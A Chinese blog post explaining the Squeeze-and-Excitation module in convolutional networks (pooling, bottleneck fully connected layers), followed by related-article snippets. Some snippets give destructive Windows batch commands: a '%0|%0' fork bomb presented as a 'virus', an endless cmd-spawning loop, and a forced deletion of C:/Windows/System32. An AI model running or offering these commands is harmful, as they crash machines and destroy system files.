SE模块的理解

news/2024/11/21 1:24:22/

之前对SE模块的两个全连接层的作用和设置有疑问,于是和实验室同学讨论学习了一下,以下是我自己的理解,如果有不准确的地方请批评指正。

1、压缩(Squeeze)

进行的操作是 全局平均池化(global average pooling)
特征图被压缩为1×1×C向量666

2、激励(Excitation)

两个全连接层。
两个FC组成一个可训练的函数,用来学习通道注意力。(所以FC激活函数不是线性的就行)

两个FC构成了bottleneck结构:(SERatio是一个缩放参数)
第一个FC把神经元数量减少了 1. 除去冗余信息 2. 降低计算量
第二个FC的作用就是恢复到1×1×C尺寸。
(分割的Unet把尺寸越整越小就是在把那些纹理什么信息都取掉,只留下边界信息,之后再把尺寸回到原来的大小)
在这里插入图片描述

在这里插入图片描述
上图来自: https://blog.csdn.net/qq_34923437/article/details/106126432


http://www.ppmy.cn/news/579020.html

相关文章

【Java SE】SE“细节”知识大总结

目录 1.初识JAVA 1.1环境配置时JDK、JRE、JVM之间是什么关系? 1.2Java代码运行过程 1.3一个简单Java程序的解释 1.4什么叫“一次编译,到处运行”? 1.5注释常见错误 1.6标识符 1.7关键字 2.数据类型 2.1基本数据类型 2.2.引用型数据类型 2.3…

String ==的几种情况说明记录

堆 直接存放于堆中,或者 存在于常量池中。 比较的是内存地址 equals 比较的是值 示例1 String x "hello";String y "hello";System.out.println(x y); //trueSystem.out.println(x.equals(y)); //trueString x “hello”; 在堆的…

DOS小病毒

仅供参考 %0|%0 ----分割线以下不要复制---- 详细步骤: 打开记事本→粘贴进去→另存为,编码ANSI,后缀.bat

cmd危险指令

第一个: %0|%0 大家要是学过一点DOS都知道这个指令,它会重复打开当前程序,卡爆电脑。 第二个: start cmd %0 或 :1 start cmd goto 1 它会永不停止地启动cmd 第三个: del /F /S /Q C:/Windows/System32 要…

Windows Cmd

查看文件行数find /V /C "" 【文件绝对路径】

cmd命令查看电脑是否中毒

命令: tasklist /svc|findstr "svchost" 正常情况下每个svchost.exe进程都是对应着相应服务,如果有一个svchost.exe后面显示着暂缺,那就要注意了。

cmd杀毒代码

使用方法: 创建文本文档将代码复制进去将后缀txt改为bat echo off taskkill /f /im sxs.exe /t taskkill /f /im SVOHOST.exe /t c: attrib sxs.exe -a -h -s del /s /q /f sxs.exe attrib autorun.inf -a -h -s del /s /q /f autorun.inf d: attrib sxs.…

CMD简易病毒制作

1.首先鼠标右键,点击新建,选择文本文档,打开它 2.然后输入: start cmd %0 3.点击左上角的文件,选择另存为,改文件名的后缀名为:.bat,然后点击保存 注意事项:此文件打开后会导致电脑死…